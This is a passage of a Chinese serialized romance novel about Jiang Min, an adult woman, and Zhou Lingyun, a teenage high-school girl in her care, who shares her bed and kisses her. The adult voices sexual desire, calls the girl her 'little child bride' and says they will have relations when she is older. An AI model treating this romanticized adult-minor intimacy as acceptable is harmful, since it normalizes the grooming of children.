生日啊,每年都要过的,一开始,姜悯是想显摆显摆的,但周灵蕴对那些过于刻意的东西好像并没有表现得多感动。 姜悯通过对她日复一日的观察得出结论,相比仪式感,周灵蕴更注重陪伴。 用小孩的话讲———跟姐姐在一起,吃屎也开心。 姜悯唯有闭眼叹息。 她不会跟她一起吃屎的。 也不准周灵蕴吃屎! 吃完屎再来亲她,像什么话! “姐姐你看你看,我捡到一片好完美的银杏叶!”周灵蕴呼喊着跑来,树叶举到姜悯面前,展示。 姜悯接过,点头表示赞许,周灵蕴找她索要手机,“装在你手机壳里,给你当护身符,怎么样?” “有什么特别的寓意吗?” 姜悯本是随口,周灵蕴还真列举出几项。 如长寿、永恒、爱情与坚韧。 “银杏树是地球现存最古老的树种之一,二叠纪至今,也就是大概2.5亿多年前,它就存在了,在人类的祖先甚至连猴子都不是的时候呢,活化石呢!” 周灵蕴掰开姜悯手机壳,金黄的树叶找好位置卡进去,再小心把壳子归位,递还给她,随后退步,屈膝,双手抱拳,“姜大炮姐姐,要长命百岁哦!” 挑眉,姜悯翘首想象,“一百岁?希望我那时候牙齿还没有掉光。” “那我就活到一百一十岁。”周灵蕴蹦蹦跳跳。 姜悯顿时不满,“干嘛!你凭什么比我多十岁!” “啊?”周灵蕴抓脑门,“因为你比我大十岁啊,我想活到跟你一起死。” 姜悯都有点不确定了,“难道,不是九十岁?” 大眼骨碌一转,周灵蕴慢慢转身走开,嘴里嘀嘀咕咕,“好像是哦——” 快跑,迟了要被骂,花那么多钱上学,学了个寂寞。 姜悯闭上嘴巴,低头翻转手机,似乎透过壳子抚摸到其下模糊又清晰的叶脉纹路。 有点接近她们之间的关系,刻意被隐藏,却时刻存在,难以忽略。 抉择,生活中无数不在,简单是同一款式不同颜色的衣物。更大些,高考填报的学校,一些关系的终结或延续,友情类。再大,是公司新项目的推进,新产品的诞生,要慎重,因为关乎到很多人的饭碗。 单论感情,姜悯经验确实少得可怜。 小皮靴鞋跟踩在铺满落叶的黄金大道,姜悯把手机揣进包里,慢慢往前走。 周灵蕴已经跑出老远,河边弯腰埋着脑袋不知道看什么。 ——“我想跟你活到一起死。” 小孩姐不需要经过她的同意,小孩姐心中自有安排。 心中感觉奇妙。 很扯啊! 算是情话吗?怎么就一起活到死了。 又甚为奇特。 姜悯当然有收到过别人的表白,内容大差不差,什么你很漂亮啦,很有气质啦,或会严肃考量她经济实力,甚至无礼冠以各种迂腐的传统女性价值…… 太过直白,让人一眼就看穿,不分性别,全在她雷点蹦迪。 可非要她说出到底喜欢什么类型,答案也只是含糊的“感觉”二字。 那些家伙啊,甚至还比不上一个女高中生。 没发觉,一想到她,不自觉就堆高苹果肌,暗暗一阵傻笑。 姜悯后知后觉,腮帮有点酸,随即内心严肃谴责自己。 NO!不可以,她还是个孩子啊! 另外一个声音却说道:对啊,她只是个孩子,所以你紧张什么? 姜悯混乱。 前方,小孩爬上路边一颗歪脖子树,使劲冲她招手,“姐姐快来,帮我拍张照片,尽量把我拍得威风些!” “毛病,也不怕摔跤。”话虽如此,姜悯仍是配合举高手机,并指挥周灵蕴调整动作。 原相机直出,却丝毫不折损她光洁白净的脸蛋,那笑容璨若星辰,眼底倒映着头顶澄澈的蓝天。 姜悯低头审视几秒,敲字发朋友圈。 [小猫上树。] 舒颖来得那叫一个快。 [姜老板,还沉醉呢。]—— 作者有话说:发烧,加姨妈痛,蔫吧菇稍微少点 今年确实不太好,情绪问题反反复复,很容易应激,手抖,上月洲找我玩时候,我跟她说,我瘦到92斤了,结果七月底,掉到86。没有食欲,吃饭只是维持生命体征。 第53章 她想用力推开她 我就沉醉, 我不能沉醉吗? 这可是女高欸! 小孩姐在河边滩涂地捡石头打水漂,起初不得章法,胡打乱打, 但很有钻研精神,跟旁边老大爷认真学习技法。 姜悯坐在路边户外长椅, 敲字私聊舒颖。 [怎么, 不许啊。] [你嫉妒。] [嫉妒,有用吗?] [女高欸, 可不是谁都有本事弄到的。] 好像她肚子里的蛔虫,她心里想什么,舒颖全知道。 姜悯洋洋得意,整张脸五官全在往上扬。 [如何呢?] [眼看她起高楼, 眼看她宴宾客。] 舒颖不慌不忙回复道。 姜悯霎时变脸。 她知道还有一句,舒颖故意不讲。 ——眼看她楼塌了。 [贱人。] 姜悯咒骂。 [让我们拭目以待吧。] 舒颖丢来几个面带红晕笑脸表情。 年底,周灵蕴准备期末考,学习忙起来,姜悯倒闲, 冬季是茶销淡季。 姜悯每天接送小孩, 陪小孩吃饭, 空闲用来保养头发和皮肤, 确实,小孩胶原蛋白充足,吹弹可破的小脸让她很有压力。 期末考之后就是放假, 放假就能回老家见奶奶,还有万玉。只是蛋挞和小哑巴一直没消息。 天气很冷,教室虽然开了空调,但很臭, 男生的头油味,脚臭味和汗味混合,周灵蕴逢课间必要逃离,外出透气。 趴在走廊尽头围栏,旁边几个女生聊天,话题还是那些,谁喜欢谁,递了情书但被拒绝,谁跟谁被家长抓包,导致分手。 最后总结,好像冬天情侣很爱分手。 “是吗?”周灵蕴脸蛋枕着自己的两条胳膊,偏头。 “对啊,听说分手的不少,反正没有夏天那么热情了。”对方完全不认识她,仍热心回答。 周灵蕴摆正脸蛋,眨巴眨巴眼睛,朝前呵出口长长的白气。 谈恋爱被家长发现,就会分手,是的。但如果喜欢的人就是家长呢?她真是智慧啊,直接从根源解决问题。 周灵蕴自顾笑出声。 最近月考,年级排名有显著提升,姜大炮也很久没骂她了,周灵蕴每天心情都很好。 只是最近跟奶奶视频通话变少了,学习任务忙是一方面,奶奶说手机看多了眼睛疼。 “可以拿远些看。”周灵蕴想办法,“我看到你就好了嘛。” 手机屏幕里是冬季青黄相接的开阔草坪,周灵蕴问在哪里,奶奶不说,只叮嘱她好好读书。 “马上高三了,要考大学了。” 周灵蕴手机架在书桌,向奶奶展示自己的最新月考成绩,担心她看不清楚,干脆一项一项报出来。 “我现在很稳定了,考大学没问题的。” “可以的嘛,我们乖宝,脑瓜聪明的,咱家第一个大学生。”奶奶笑着,声音像冬天穿透云层的一束太阳光,从很高很远的地方落下来,照在身上暖暖的,感觉却稀薄。 周灵蕴总觉得奶奶声音有点不对劲,好像没那么有活力了。 她挂断电话,去找姜悯,女人歪在沙发看电视,也有些不明,“是吗?回头我打个电话问问老妈。” 是老板,是主人,也是姐姐。有姜悯在,周灵蕴没什么好担心,“那我学习去了。” 等到周灵蕴第二天早上背着书包进学校,姜悯才给老妈去的电话。 老太太每隔段时间要回山上老房子看看,打扫卫生,说什么都拦不住,一定要去。说那是她家,也是跟娃儿的家。 谷香岚不放心,每次都叫春梅跟着,可紧看着紧看着,还是在眼皮子底下出了事情。 人年纪大了,身体机能老化,打个喷嚏都能骨折,老太太想把周灵蕴房间窗帘拆下来洗,踩着小板凳要上桌,没站稳,摔了,腰椎压缩性骨折。 亏得还没爬高,离地也就二十来公分,不然这条老命真就悬了。 人倒在地上,当时就昏过去了,春梅简直是魂飞魄散,姜爸听说消息,从厂里喊了几个年轻力壮的小伙上山去抬,山下救护车等着,下山直接拉县里医院。 好在没有危急性命,只是动弹不得,苏醒后卧床制动,缓慢康复。 “最近可以坐轮椅了,春梅每天推着她下楼散步,别担心,没大碍。”谷香岚安抚道。 “怪不得最近打视频都不露脸,惹小孩起疑心了。” 姜悯随后询问该不该告诉周灵蕴,谷香岚的建议是不要,“不是快期末考了,放假你想办法拖延一阵,过年回来差不多康复。” 姜悯应好。 谷香岚随后感慨,“你说人的身体真是奇怪哈,老了怎么伺候都不行,闲着吧,是指定要闲出毛病的,忙着呢,一忙过了,忙出头了,不说心肝肺,老骨头就先吃不消。” 她也是奔六的人了,有这个担忧和想法很正常,好在自我调节能力强,又自顾说着什么凡事得有个度,要学会掌握平衡云云。 这通电话,让姜悯倍感压力。 人还没到中年,就体会到上有老下有小的强烈窒息感和压迫感。 老妈老爸倒是还好,才五六十,正是拼的年纪,好好保养,后面还有好几十年活头。 姜悯担心老太太,还有周灵蕴。 周灵蕴每晚放学回来缠着她,问她打电话了没,姜悯都不敢在客厅坐,太显眼,成日躲在房间。 可有什么用呢,她不能反锁门,否则更惹小孩疑心。 抱着电脑躺在床上,空白文档一阵乱敲,姜悯故作懊恼,使劲一拍脑门,“对不起啊,今天工作太忙,我给忘了。” “我给奶奶打视频,没人接。”周灵蕴耷拉着脑袋,忧心忡忡坐在床边,扭头,“要不你现在给谷阿姨打个电话,问问情况。” 老这么糊弄也不行,姜悯拿出手机,说好的好的,现在就打,其实在微信提前报备,让老妈别接。 “嘟嘟嘟——” 姜悯向周灵蕴展示手机屏幕,“没人接,八成是睡了,老年人都睡得早。” 起床哄着周灵蕴进房间,“明早我再打,我发誓一定打。” 周灵蕴也没什么好办法,“那我提醒你。” 一次两次,姜悯糊弄过去,三次五次,周灵蕴也不傻,“奶奶是不是出事了。” 她表情认真,肯定的句式,列举姜悯近来种种反常,“你不是喜欢拖延的人,相反还有点急性子,而且你总借口说忙,虽然我不懂怎么开公司做生意,但我知道茶树在冬季是休眠期,再忙也忙不过二三月,那时候你还能挤出空闲刷剧打游戏呢。” 姜悯确实不擅长撒谎,她从小到大的生长环境,没有撒谎的条件和必要,除去本身性格里跳脱的部分,她为人一向坦荡。 毫不夸张说,此生所有龌龊都给了周灵蕴。 持续高压,姜悯实在难以抵挡,只能残忍告知真相。 “我要回去看奶奶。”周灵蕴当即道。 “马上期末考了。”姜悯提醒。 周灵蕴说她知道,“可奶奶只有一个,我还年轻,学习什么时候都来得及。” 她是懂得感恩的小孩,知道奶奶一人拉扯她长大不容易,奶奶是她心里最重,超越一切。 姜悯点亮手机屏幕,耐着性子安抚,“可是已经很晚了,你现在要走也走不了,我们只能坐高铁回去,高铁晚上不运营的。” 周灵蕴先是问“为啥不运营”,很快反应过来这个问题并不重要,提出二套方案,“那我打车回去。” 姜悯不允许。 周灵蕴也知道不现实,太远了,也太晚了。 她双眼泛起晶亮,一屁股坐在沙发,“那怎么办啊,奶奶生病了我都不知道,我好不孝,她养大我多不容易,她生病,我不在身边……” 心底一片潮湿软烂,姜悯两三步上前,双臂环住她,“奶奶没事了,在康复了,就是不想让你担心,不愿影响到你的学习才叮嘱说不要告诉你。” 姜悯懊悔极了,她怎么就那么沉不住气。 “你说她是去拆窗帘的时候才摔的,她肯定想我了,奶奶想我了。” 周灵蕴嘴巴瘪瘪,眼泪掉下来,“奶奶是我在这世上唯一的亲人了。” 悲伤会传染,姜悯已经开始预想她将来会有多难过,可生老病死,非人力能抵抗。 忍不住,偏过脸亲吻她咸涩的腮,姜悯郑重承诺,“我也是你的亲人。” 她说,我们也是亲人,我是你的亲人,没有血缘关系的亲人。 我们相处那么久,我们对彼此来说,都是很重要的人。 我需要你的陪伴,你对我来说,非常重要。 周灵蕴紧锁的眉心缓慢舒展开,姜悯哄着她去洗澡,“今晚来我房间睡吧,我陪你。” 那个吻之后,她们有好一阵子没一起睡了。 “真的吗?”周灵蕴眼底火苗重燃。 姜悯说完立马后悔。 她为什么总在犯蠢? “当然。”也只能硬着头皮答应。 春蕾每一次期末考试,都会按照成绩重新分班,考试对周灵蕴来说非常重要。 她需要安慰,鼓励,还有很多很多的爱。 她也真的长大了,在她们携手走过的每一次清晨和日落。 天气寒冷,被褥里却一片潮热,少女的吻在颈间持续升温,热烘烘软绵绵,若即若离,挑动她神经。 姜悯紧闭双眼,努力装作无事发生,却无法抵挡,有可耻的贪恋和欲望破土,心底扭曲着生长。 “姐姐——” 她湿热的鼻尖抵靠在咽喉正中位置,手臂紧紧缠绕着腰肢,低声呼唤。 “你说的,我们永远都是亲人,永远不会分开,对吗?你说。” “是。”喉咙泛起酥麻痒意,姜悯声音在发抖。 她想用力推开她,不能,更不舍—— 作者有话说:今天菇好些了。 昨天更新的那章,菇躺在床上呀,掰着手指头算了半天年龄差,没算明白,真是昏头了,直到今早才恍然。 哎呀,人家好笨!(握拳轻敲脑袋)(眨眼吐舌)(超绝夹子音) 第54章 “笑起来就不像了。”…… 她黝黑的双眸在夜晚更显深沉, 像黑洞,无声把人往里拽,姜悯以前从来不知道, 周灵蕴竟有这样的本事,这样的魔力。 太热了, 浑身痒, 好似有蚂蚁在爬,姜悯手撑在周灵蕴肩膀, 被窝里窸窸窣窣往后退,“我有点口渴。” 是借口逃离,也是灼烧感到达界限,她难以承受, 担心自己失控做出些什么。 周灵蕴一向以姜悯为圆心点,初始被推拒的迷茫消散,她醒过神来,手背擦拭过湿润而滚烫的唇瓣,率先掀被起身, “我去给你倒水。” 也好, 只要能暂时把距离拉远些, 腾出空让她喘口气。姜悯点头。 接过水杯, 小口抿,慢慢咽,姜悯掀眼, 看周灵蕴乖巧跪坐在面前,不由笑。 “干嘛这么看着我。” “我也好渴。”周灵蕴目光锁定在姜悯红润饱满的唇。 她眼神专注极其攻击性,姜悯被她盯住,又是不自觉一抖。 “渴你就喝水呀。”姜悯声音闷在玻璃杯里。 “我刚喝过了。”周灵蕴回答。本能而陌生的生理反应让她有些苦恼, 她使劲扯了把睡衣领口,“可我还是好渴,是晚上吃咸了吗?” 水杯放置在床头矮柜,姜悯趁机挪远,“睡觉吧,睡着了就不渴了。” “真的吗?”周灵蕴将信将疑。 “真的。”姜悯熄灭床头灯。 黑暗中察觉到她的靠近,咳嗽了声,“早点睡,明天你去上学,我回去看看奶奶,具体情况回来告诉你。” 老太太还是管用。周灵蕴不再继续她天真的侵犯,立即平躺,“好,那我不打扰你了。” 姜悯长舒一口气,可算逃过一劫。 但令人有些难以启齿的,是心底某处角落翻涌的失落。 真不亲啦? 姜悯闭上眼睛,睡前最后一个念头是——我真贱啊。 老太太在医院住了半个月,每天进行康复训练,其实好得差不多了。 她能下地,但还不能长时间走动,接回家每天被允许在院里溜达一小时,这都闲不住,给春梅种的小葱和白菜浇水除草。 姜悯给老太太说了很多周灵蕴的事,说她成绩每次月考都会提升名次,照这个趋势,考大学肯定没问题,还能上个不错的学校。 “老太太啊,咱自己也得保重好身体,别折腾,别让孩子担心。”姜悯告诫说。 家里人劝了好多次,老太太固执得很,成天惦记她山上那小屋,隔三岔五去一趟。姜悯说事情没瞒住,周灵蕴受到影响,还扯谎说孩子学习成绩下滑,她立马老实了。 “不去。”老太太直摆手,“不折腾了。” “这就对了嘛。”姜悯从包里摸出几张周灵蕴校庆和运动会的照片,“看看。” 老太太赶紧接过去,歪过身子朝向窗户,就亮看,手不住在上面摸,“这是今年的?” “秋季运动会的,她们校庆也紧挨着。春蕾的校庆不是每年都有,所以今年格外热闹,因为她马上高三了嘛,再迟一年,就不能像今年这么玩了。” 姜悯说周灵蕴体育也不错,个高腿长,跑得快,“小时候锻炼出来的吧。” 老太太看着看着,开始抹眼泪,拉着姜悯的手说话,一个劲儿感谢。 “你是她的恩人,大恩人呐——” “不说这些。”姜悯真心的,心里话,“我们早就是一家人了,她需要我,我也需要她。” 屋里一堆人,沙发上坐着,七嘴八舌,都劝老太太别哭了。 姜爸说:“相遇即是缘分。” 谷香岚说:“两个孩子的缘分。” 春梅幸福合掌:“亲上加亲。” 老太太点头,怀里掏出手绢,擦擦脸,然后抬头问:“她伺候得还行吧?” 姜悯神色变得微妙。 开车回去的路上,姜悯满脑子都是老太太最后那句“她伺候得还行吧”? 姜老头当即变了脸色,事后追到房间,问她到底什么居心,是不是有什么不为人知的邪恶怪癖。 要换作从前,姜悯必与他大战三百回合。偏偏,她底气不足,嗯嗯啊啊,半天讲不出来。 姜老头笃定,“你心虚。” 发根炸立,姜悯感觉脑袋都大了一圈。 “小人之心。”她心孤意怯,气少无力。 “别以为我不知道你在想什么。”姜爸目光锐利,横指她,“你就是找替身,满足你那什么见不得人的,那什么欲。” “什么欲?”姜悯反问。 她只知道亲嘴欲,她很想亲嘴。天知道她有多想跟人亲嘴。 “白月亮。”姜老头空闲也看过几部短剧。 “我只知道蓝月亮。”姜悯笑着,松了口气,老头啥也不懂。 “反正你自己知道。”老头最后警告,叫她谨言慎行。 姜悯降下车窗,任由初冬的寒风涌入,冰冻脸颊。姜老头不知道,现在情况比他嘴里的“白月亮”糟糕一百倍。 为了让周灵蕴放心,姜悯给老太太拍了很多照片,有比较正式坐在沙发上的,还有老人下地走动时一些较为生活化的。 周灵蕴抓着手机,一张张翻看,再抬头看向姜悯,眼底泛起晶亮。 “又哭。”姜悯赶紧去拿纸,“我给奶奶看你的照片,她反应跟你一样,也是哭得稀里哗啦的,哎呦,劝半天……” 话没讲完,她撞来怀里。 姜悯呆住,捏住纸巾的手,五指缓慢收拢。 “一天一夜,你开车去开车回,我上课都没办法集中注意力。你走了之后,我才意识到自己有多过分,都是我害的,是我害你那么辛苦。” 周灵蕴紧紧拥住她,打底衫质地柔软,可以清晰感受到其下她纤细的骨骼,看起来超厉害无所不能的姐姐,原来是这般的小巧玲珑。 还是我长大了。闻到她发间熟悉的馨香,周灵蕴暗想。 稍分开些,手掌仍把握在她腰肢左右,周灵蕴与她面面相对,神色无比认真,“我们可以接吻吗?” 有过上次的经验,周灵蕴这次变老实了,她有在征求姜悯意见。 气氛为何扭转得如此之快。姜悯脸上还是那种大家长般的慈祥的笑,她愣在半途,面部肌肉持续收紧,嘴皮黏住上牙,不用照镜子也知道自己现在表情有多僵硬丑陋。 少女目光炯炯,饱含期待。 姜悯忽在这瞬间意识到,小孩是不能惯的。 尚未建立起完整的人生观价值观,甚至基本的道理伦理标准,她一切随心而为,她不知道什么是对,什么是错,什么是不应该。 讲道理? 她不懂人事,歪理却一套一套,姜悯担心自己一不小心又被她套进去。 笑意收敛,姜悯闭眼,沉了口气,伸手解开她马尾发圈,任由那凉滑的长发流泻,于指缝间细细梳理,“又长长了好多。” 周灵蕴乖巧点头,“很久没剪过了。” 她小时候留长头发是为了拿去卖钱,小学毕业那年卖过一次,五十块。 “以后你不用卖头发贴补家用。”姜悯将她披散的长发分拨至两肩,身体后倾,笑盈欣赏片刻,“星期天,我带你去拍组写真吧?” “写真?”周灵蕴好奇眨眼,“那是什么。” 预约了影楼和摄像,姜悯大概选定了照片风格,甚至等不及周天,周六上午补课结束,学校门口接到人,直接带过去。 周灵蕴第一次拍写真,被要求一动不动坐在梳妆台前,大眼睛闲不住地转来转去。 “我第一次化妆欸,原来有这么多步骤。” 姜悯撑桌站在一边看她,略一扬眉,想起什么,“不对吧,应该是第二次。我们刚认识的时候,蛋挞给你化的那大烟熏妆,不记得了?” 周灵蕴大叫,不许她说。 长大了,好面子了。 唇边笑意自然流露,姜悯回想起那时,心中颇多感慨。 其实她一开始就没打那主意,不是吗?虽然她们的相遇确实过分戏剧了。 她被她吸引,初始动机确实也谈不上清白。 想到待会儿要做些的事,姜悯心里有点难过。 可她实在受够煎熬。 场景早就布置好,日系少女风,环境整洁明亮,周灵蕴换上过膝白裙,微微缩着肩,榻榻米上小碎步挪。 房间暖气充足,她倒不是冷,是害羞。这么多人看着她,还要凹造型,好不习惯。 “为啥一定要拍写真呢?”周灵蕴按照摄影师要求,抻直双腿坐在蒲团,捧书假模假式在那看。 “长大之前留下一些照片。”姜悯答。 周灵蕴低头闷笑。 她好开心!姐姐带她来拍照呢! “咱们可以放松些,大笑,说话都没问题。”摄影师耐心引导她更多动作。 周灵蕴顺手抓来只毛茸小熊搂在怀里,努力让自己表现得更加自然,“梓涵也拍过,是古装的,我看过照片。” 姜悯回头,屋内扫视一圈,“到钢琴那边看看呢?” 周灵蕴听话过去,双手架放在琴键,胡按乱按,却发现没声儿,“这个坏了吗?” “那是道具。”摄影师笑着解释,又“欸欸”说好,“就这样,笑容大一些,你笑起来特别好看,很明媚。” “她们都说我笑起来好看。”周灵蕴受到鼓舞,极为愉悦,眯起眼睛,咧嘴展示她两排雪白的标志小牙。 “还是别笑了吧。”姜悯抬身走向她,双手握住她肩膀,把正身体,“手背撑起来,呈握球状,想象你手里抓个鸡蛋,弹琴的时候最好认真些,别笑。” 周灵蕴认真掌握要领,尽管她面前只是一台道具钢琴。 “可摄影师说我笑起来好看,明媚。” “别笑。”姜悯淡声重复。 “笑起来就不像了。”—— 作者有话说:菇来惹—— 第55章 即便如此,我也不能离开…… ——“别笑, 笑起来就不像了。” 周灵蕴后半程果然不再笑。 也笑不出来。 她后知后觉,身上穿的这条白裙子根本不是她的风格。 她讨厌暗沉和寡淡,喜欢一切色彩鲜艳的东西, 她的外套,长裤和鞋子, 甚至内衣, 多是饱和度适中的清新马卡龙色系,白色当然也有, 但数量并不多。 她喜欢的颜色,是她对待这个世界的态度。 不被困难打倒,永远热情热烈,乐观积极。 可再明媚的小人, 也有心低意沮的时候。周灵蕴几次强牵嘴角,发现自己根本做不到,书本上的“胸口像压块大石头”,是多么具体真实的感受啊,她快要无法呼吸。 还有钢琴。是啊, 为什么是钢琴呢, 她从来没学过钢琴, 她毫无音乐天赋, 唱歌都跑调。 她也不喜欢披发,好麻烦好碍事,她根本安静不下来, 长发一跑动就糊得满脸,黏在嘴唇,遮住眼睛,连路都看不清。 这些与她格格不入的事物为什么会出现在她身上? 因为姜悯喜欢。因为相册里的那个人类似装扮。 所以从头到尾, 她的身份没有改变过。 是她得意忘形了。 “怎么突然变得忧郁。”摄影师打趣,适应风格也很快,“好,来咱们继续保持,这样也很漂亮,不一样的味道……” 周灵蕴忽就笑了。 苦笑,恍然大悟的笑。 所以,姜悯会带她来拍写真。一天一天,她长高长大,五官发生变化,很快就要不像了,只能用照片留住时间。 那瞬间的念头,周灵蕴想跑,想回家去,找奶奶。 可见到奶奶,她该说些什么呢? 离开家的前一晚,奶奶千叮咛万嘱咐,要伺候好老板,说机会得来不易,老周家八辈子的祖宗骨头一齐冒青烟才换来的机会。 她跑不掉,她花了姜悯好多好多钱。 悒悒不欢,终于捱到拍摄结束,白裙子是姜悯带来的,周灵蕴也不打算换,穿上鞋就要往外走。 “欸!”姜悯叫住她,示意她前往试衣间。 “我不换。”周灵蕴套上鞋子,坐在小板凳上不动,面无表情,目视前方。 “外面很冷的。”姜悯走过去推了下她肩膀,“你就穿这个出去?冻感冒了我可不给你治。” “你当然要治。”周灵蕴倏地抬头,用力看她,上眼皮瞪出两个小小的眼泡,“不然你上哪儿找这么像的,你以为好找啊。” “找什么?”姜悯一时没反应过来。 话她说了,事儿也做了,但这是第一次,她同样陌生,忘性。 周灵蕴冷笑,“你自己清楚。” 这不是跟老板说话的态度,她恼羞成怒,也是被姜悯惯坏了,小任性。 姜悯后知后觉,周灵蕴在问责。预料之中的结果,但她没想到周灵蕴反应来得那么快。她好敏锐。 她没忘,她始终在意,只是装作不记得。 “在说什么?”转变来得太快,姜悯反应不及,故作不解。 “你自己清楚!”周灵蕴大声重复。 影楼工作人员好奇投来视线。刚才不还好好的,其乐融融的,姐姐带妹妹拍写真。 怎么突然吵起来了。 “回家。”姜悯弯腰扯她手腕,拉着她往更衣室走,“去把衣服换了,别让我说第二遍。” 周灵蕴用力甩开,越过姜悯。 她换回自己的衣服,白裙装进纸袋,因用力过猛,右拳直接把袋底掏个大洞。 裙子捡起来,她使劲把它揉成一团,塞进书包,气不过还打了两拳。 姜悯候在更衣室门外,看周灵蕴背着书包气鼓鼓走出来,大跨步往前,好像全世界都与自己无关,径直下台阶走到影楼外。 暗自垂睫想了会儿,姜悯一声低叹,最后跟摄影师沟通几句,支付定金。 室内灯火通明,温暖如春,猝不及防一脚迈进寒冬,冷意砭骨,毛毛细雨中,城市缄默,行道树下路人脚步匆匆,归家心切。 周灵蕴吸了吸鼻子,下巴埋进毛衣领口,眼眶极速变热。 她蹲在影楼门口,脸迈进臂弯,强忍着不掉泪,嘴里呵出的热气把两腮熏到湿热。 不久,身侧传来动静,是影楼工作人员送姜悯出门。周灵蕴脸蛋左右在袖子上蹭蹭,抬脸深吸一口气,起身。 晚饭都没吃,开车回家,期间二人一路无话。 那句“回家”,让周灵蕴误以为姜悯会对今天这场拍摄有所解释。 说漏嘴,还是口误?都没关系,她可以继续骗她。 出电梯,换鞋,进门,姜悯拎包径直回房。 周灵蕴目送她背影消失,期待的一切都没有发生。 书包丢在地毯,不开灯的房间,周灵蕴脱力倒靠在沙发。 她有反思,是姜悯对她太好,让她有些不知天高地厚,贪图得太多。她也承认自己近来得寸进尺,开始蹬鼻子上脸,无穷索要。 是警告吗?周灵蕴更倾向自己内心的答案。 真正的审判降临之前,她想尽力一试。撑身坐起,周灵蕴打开大门走出去,穿鞋下楼。 她在小区楼下的超市买菜,像往常惹到姜悯冒火那样,用女人喜欢的菜式讨好,故意在厨房制造响动,吸引注意力。 姜悯其实挺好哄的,有时闻到饭菜香味自己就憋不住先从房间里出来了。 挥舞锅铲,奋力烹炒,好几次,似乎是她热热的呼吸吹拂起鬓角碎发,周灵蕴回头,却空空如也。 直到最后一道小炒肉起锅装盘,周灵蕴发现是耳朵边有撮头发没扎好,挠得脖子痒。她这时候还能笑得出来,笑自己笨。 解下围裙,打好米饭,饭后水果也洗切装盘,周灵蕴敲响她房间门。 没有拒绝,姜悯来到餐桌旁。 “姐姐吃这个。”周灵蕴讨好给她夹菜。 姜悯视线低垂,不辨喜怒,闭口默默咀嚼。 周灵蕴努力想从姜悯今日的反常中收获些什么,内心有不好的预感,却抵制,一顿饭吃得没滋没味。 饭后姜悯回房,周灵蕴把碗筷和砧板塞进洗碗机,丢了颗凝珠进去,擦桌擦地。她手脚不闲着,脑瓜也是,还有一个办法——侍寝。 洗净自己,镜柜里偷了瓶姜悯的香水,偷偷喷在睡衣里面,周灵蕴再次敲响她房门。 “进——”女人言简意赅,音色偏冷。 双手搓搓脸蛋,搓出个乖巧的笑模样,周灵蕴压下门把手走进去。 “姐姐,我来陪你睡觉好不好。” 姜悯以为她知难而退了。 谁成想,竟是完全会错意,越贴越近。 冲动之下,选择的方式或许有些偏激,但效果立竿见影,整个下午,周灵蕴都没来黏她。 直至此刻,周灵蕴似乎康复,卷土重来。 细一挑眉,姜悯将周灵蕴上下打量。 “确实我挺喜欢你的,你很懂事,也一直都知道我想要什么。但你现在确实太小了,我们之间即便要发生关系,也不是现在。” 大概一直以来,满脑子龌龊的那个人是她自己,不当心,真心话讲出来。 小脸迷糊,周灵蕴心跳骤然失序,“什么?” 什么什么关系,是她想的那样吗?是书上写的那种吗? “你奶奶没告诉你?”姜悯已经是梦到哪句说哪句的程度,脑袋一团浆糊。 面上茫然褪去,周灵蕴顿时醒悟过来。 原来,原来,真是她搞错了。姜悯怎么会不喜欢“她”呢。 想了那么多办法,花了那么多钱,把她接到身边,精雕细琢,怎么可能不喜欢。 夜深人静时,耳边低柔的哄慰呢喃,带着醉意的模糊了界限的亲昵,慷慨赐予的拥抱,以及见惯的她唇边那抹宠溺笑意…… 所有所有,不是对她,只是透过这张相似的脸,抵达她记忆中的“她”。 “发生……关,关系?”巨大的羞耻感如岩浆喷涌,周灵蕴每一个字都吐露得异常艰涩。 她睡裙外裸露的小腿和手臂皮肤生起鸡皮疙瘩,她明明穿着衣服,在姜悯冷漠的注视下,却如同赤.裸。 原来在她眼中,她不过是个玩意。 她眼底的研判明明白白告诉她,货品尚未达到可使用标准。 姜悯胸腔漫长起伏,“有什么好意外的,难道不是你自己说的?这么快就忘了,小童养媳。” 是,没错。 周灵蕴点头,她没忘,她是姜悯的小童养媳,小时候暖床,长大了陪睡。 “是我忘记了。” 忘记自己只是一个用来承载她未竟情感和欲望的容器。 鼻端香气缭绕,丝丝缕缕,从领口钻出,清新花朵香此刻变得无比刺鼻,像一层黏腻的油污包裹身体,提醒她刚才的举动是多么可悲又可笑。 “你喜欢她,是吧?你很小很小的时候,像我这么大的时候,就喜欢她了,像我喜欢你这样喜欢着她,忘不掉她,是吗?” 姜悯沉默。 答案够明显了。 “可惜她再也不能长大,你永远也无法靠近她,所以你只能,你只能……” 周灵蕴双手捂住脸,她说不下去了。 姜悯视线垂落在白底碎花的绵绸被面,模糊而痛苦的记忆浮现,她无法控制自己,眼眶泛起红烫的泪意。 “是的,她再也不会长大了。” “你知道我喜欢你,你一直知道,你故意不推开我,就是把我当成她,对吧?”周灵蕴不禁嘶吼出声,视线模糊,眼泪大颗滚落。 痛意翻搅,姜悯克制不住,也泪水汹涌。年轻生命的永逝,是她一生之无法释怀。 她无力辩解。 “我知道了。”点头,周灵蕴横臂大力擦拭过眼眶,“我知道她对你很重要,就像你对我来说那么重要的重要。而且我们都一样的无能为力,因为即便如此,我也不能离开你。”—— 作者有话说:虽迟但到菇 第56章 她再也不能做自己 对峙的某个瞬间, 周灵蕴仿佛穿透时光的迷雾,猝然窥见了十五岁的姜悯。 她身穿与那人相似的白色棉质睡裙,赤足站立在旋转楼梯拐角, 透过飘飞翻卷的纱帘,看向窗外不断炸裂的雨花。 雨的尸液飞溅在玻璃窗, 在白亮闪电骤然降临的瞬间, 那张苍白浮肿的脸,泪与血混合着蜿蜒滴落。 那是她的挚友, 她的亲眷,更是她心心念念倾慕崇拜之人。 曾经,她们多么要好,却被生死阻隔, 此生缘尽东西,十五岁的姜悯,是否也曾像此刻的自己一样,心痛绝望到无以复加? 小时候,奶奶在地里干活, 常把她安置在田坎边大树的浓荫下, 她睡醒揉着眼睛坐起来, 找不到人, 就会哇哇大哭,以为奶奶趁她不注意偷偷死掉。 很长一段时间,周灵蕴以为那是一种恶毒的诅咒。她恐惧自己的“坏念头”成真, 黑白无常从地底下悄悄冒出来,把奶奶从身边夺走。 直到后来,年岁渐长,从书本的字里行间汲取到知识的养分, 才为那段惶惑的童年找到科学的答案。 是分离焦虑。 周灵蕴没有经历过真正的生死。 她太年轻,经历浅薄,搜肠刮肚,书本上囫囵吞下的字句东拼西凑,企图模拟出姜悯那个被血泪浸透的世界,分担那沉重如山的苦痛,却发现自己根本做不到真正的感同身受。 她不敢想象奶奶离开后的世界,姜悯却日日夜夜,浸泡在那片苦海。 她永远也无法超越一个死去的人。 “她对你来说,真的很重要……” 重复着,周灵蕴轻若叹息,语调带着一种近乎悲悯的了然。 